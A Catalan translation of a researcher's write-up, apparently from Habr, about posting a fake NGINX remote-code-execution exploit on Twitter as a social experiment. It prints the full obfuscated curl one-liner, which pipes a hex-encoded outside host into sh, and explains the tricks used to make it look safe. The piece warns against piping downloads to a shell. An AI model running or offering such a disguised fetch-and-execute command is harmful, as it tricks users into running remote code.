L'èxit d'un experiment social amb un exploit fals per a nginx

Nota. transl.: Autor La nota original, publicada l'1 de juny, va decidir fer un experiment entre els interessats en la seguretat de la informació. Per fer-ho, va preparar un exploit fals per a una vulnerabilitat no revelada al servidor web i la va publicar al seu Twitter. Les seves hipòtesis -per ser exposades a l'instant per especialistes que veurien l'engany evident en el codi- no només no es van fer realitat... Van superar totes les expectatives, i en sentit contrari: el tuit va rebre un gran suport de nombroses persones que no ho van fer. comprovar el seu contingut.

L'èxit d'un experiment social amb un exploit fals per a nginx

TL;DR: No utilitzeu la canalització de fitxers a sh o bash sota cap circumstància. Aquesta és una bona manera de perdre el control de l'ordinador.

Vull compartir amb vosaltres una història breu sobre un exploit còmic de PoC que es va crear el 31 de maig. Va aparèixer ràpidament en resposta a les notícies de Alisa Esage Xevtxenko, membre Iniciativa Dia Zero (ZDI), aviat es revelarà informació sobre una vulnerabilitat a NGINX que condueix a RCE (execució de codi remot). Com que NGINX alimenta molts llocs web, la notícia devia ser una bomba. Però a causa dels retards en el procés de "divulgació responsable", no es coneixien els detalls del que va passar: aquest és el procediment estàndard de ZDI.

L'èxit d'un experiment social amb un exploit fals per a nginx
tuit sobre la divulgació de vulnerabilitats a NGINX

Després d'haver acabat de treballar en una nova tècnica d'ofuscament a curl, vaig citar el tuit original i "vaig filtrar un PoC de treball" que constava d'una única línia de codi que suposadament explota la vulnerabilitat descoberta. Per descomptat, això va ser una ximpleria total. Vaig suposar que m'exposaria immediatament i que, en el millor dels casos, rebria un parell de retuits (vah).

L'èxit d'un experiment social amb un exploit fals per a nginx
tuit amb explotació falsa

Tanmateix, no em podia imaginar què va passar després. La popularitat del meu tuit es va disparar. Sorprenentment, de moment (15:00 hora de Moscou l'1 de juny) poca gent s'ha adonat que es tracta d'una falsificació. Molta gent el retuiteja sense comprovar-ho en absolut (i menys encara admirant els bonics gràfics ASCII que produeix).

L'èxit d'un experiment social amb un exploit fals per a nginx
Només mira que bonic és!

Tot i que tots aquests bucles i colors són fantàstics, està clar que la gent havia d'executar codi a la seva màquina per veure'ls. Afortunadament, els navegadors funcionen de la mateixa manera i, combinat amb el fet que realment no volia tenir problemes legals, el codi enterrat al meu lloc només feia trucades d'eco sense intentar instal·lar ni executar cap codi addicional.

Una petita digressió: netspooky, dnz, jo i els altres nois de l'equip Thugcrowd Fa temps que estem jugant amb diferents maneres d'ofuscar les ordres de curl perquè és genial... i som uns frikis. netspooky i dnz van descobrir diversos mètodes nous que em van semblar molt prometedors. Em vaig unir a la diversió i vaig intentar afegir conversions decimals IP a la bossa de trucs. Resulta que la IP també es pot convertir a format hexadecimal. A més, curl i la majoria de les altres eines NIX mengen amb alegria les IP hexadecimals! Per tant, només es tractava de crear una línia d'ordres convincent i segura. Al final em vaig decidir per aquest:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Enginyeria socioelectrònica (SEE): molt més que phishing

La seguretat i la familiaritat van ser una part important d'aquest experiment. Crec que són els que van portar al seu èxit. La línia d'ordres implicava clarament seguretat fent referència a "127.0.0.1" (el conegut host local). Localhost es considera segur i les dades que hi conté no surten mai del vostre ordinador.

La familiaritat va ser el segon component clau SEE de l'experiment. Com que el públic objectiu estava format principalment per persones familiaritzades amb els fonaments bàsics de la seguretat informàtica, era important crear codi perquè algunes parts semblés familiars i familiars (i, per tant, segures). Prendre en préstec elements dels antics conceptes d'explotació i combinar-los d'una manera inusual ha demostrat tenir molt èxit.

A continuació es mostra una anàlisi detallada de la línia única. Tot en aquesta llista porta naturalesa cosmètica, i pràcticament no es requereix res per al seu funcionament real.

Quins components són realment necessaris? Això -gsS, -O 0x0238f06a, |sh i el propi servidor web. El servidor web no contenia instruccions malicioses, sinó que simplement servia gràfics ASCII mitjançant ordres echo en el guió contingut a index.html. Quan l'usuari ha introduït una línia amb |sh al mig, index.html carregat i executat. Afortunadament, els custodios del servidor web no tenien males intencions.

  • ../../../%00 — representa anar més enllà del directori;
  • ngx_stream_module.so — camí a un mòdul NGINX aleatori;
  • /bin/sh%00<'protocol:TCP' - suposadament estem llançant /bin/sh a la màquina de destinació i redirigeix ​​la sortida al canal TCP;
  • -O 0x0238f06a#PLToffset - ingredient secret, complementat #PLToffset, per semblar un desplaçament de memòria d'alguna manera contingut al PLT;
  • |sh; - un altre fragment important. Necessitàvem redirigir la sortida a sh/bash per executar el codi procedent del servidor web atacant situat a 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - un maniquí en què es refereix a netcat /dev/tcp/localhostperquè tot torni a semblar segur. De fet, no fa res i s'inclou a la línia de bellesa.

Això conclou la descodificació del guió d'una línia i la discussió d'aspectes d'"enginyeria socioelectrònica" (phishing complexa).

Configuració del servidor web i contramesures

Com que la gran majoria dels meus subscriptors són infosec/hackers, vaig decidir fer el servidor web una mica més resistent a les expressions d'"interès" per part seva, només perquè els nois tinguessin alguna cosa a fer (i seria divertit configurat). No enumeraré tots els inconvenients aquí, ja que l'experiment encara està en curs, però aquí hi ha algunes coses que fa el servidor:

  • Supervisa activament els intents de distribució en determinades xarxes socials i substitueix diverses miniatures de vista prèvia per animar l'usuari a fer clic a l'enllaç.
  • Redirigeix ​​Chrome/Mozilla/Safari/etc al vídeo promocional de Thugcrowd en lloc de mostrar l'script de l'intèrpret d'ordres.
  • Observa signes OBVIS d'intrusió/pirateria flagrant i després comença a redirigir les sol·licituds als servidors de la NSA (ha!).
  • Instal·la un troià, així com un rootkit de la BIOS, a tots els ordinadors els usuaris dels quals visiten l'amfitrió des d'un navegador normal (és broma!).

L'èxit d'un experiment social amb un exploit fals per a nginx
Una petita part d'antímers

En aquest cas, el meu únic objectiu era dominar algunes de les característiques d'Apache -en particular, les boniques regles per redirigir les sol·licituds- i vaig pensar: per què no?

Explotació NGINX (real!)

Subscriu-te a @alisaesage a Twitter i seguiu el gran treball de ZDI per abordar vulnerabilitats molt reals i explotar oportunitats a NGINX. El seu treball sempre m'ha fascinat i estic agraït a l'Alice per la seva paciència amb totes les mencions i notificacions que va causar el meu estúpid tuit. Afortunadament, també va fer un bé: va ajudar a conscienciar sobre les vulnerabilitats de NGINX, així com els problemes causats per l'abús de curl.

Font: www.habr.com

Afegeix comentari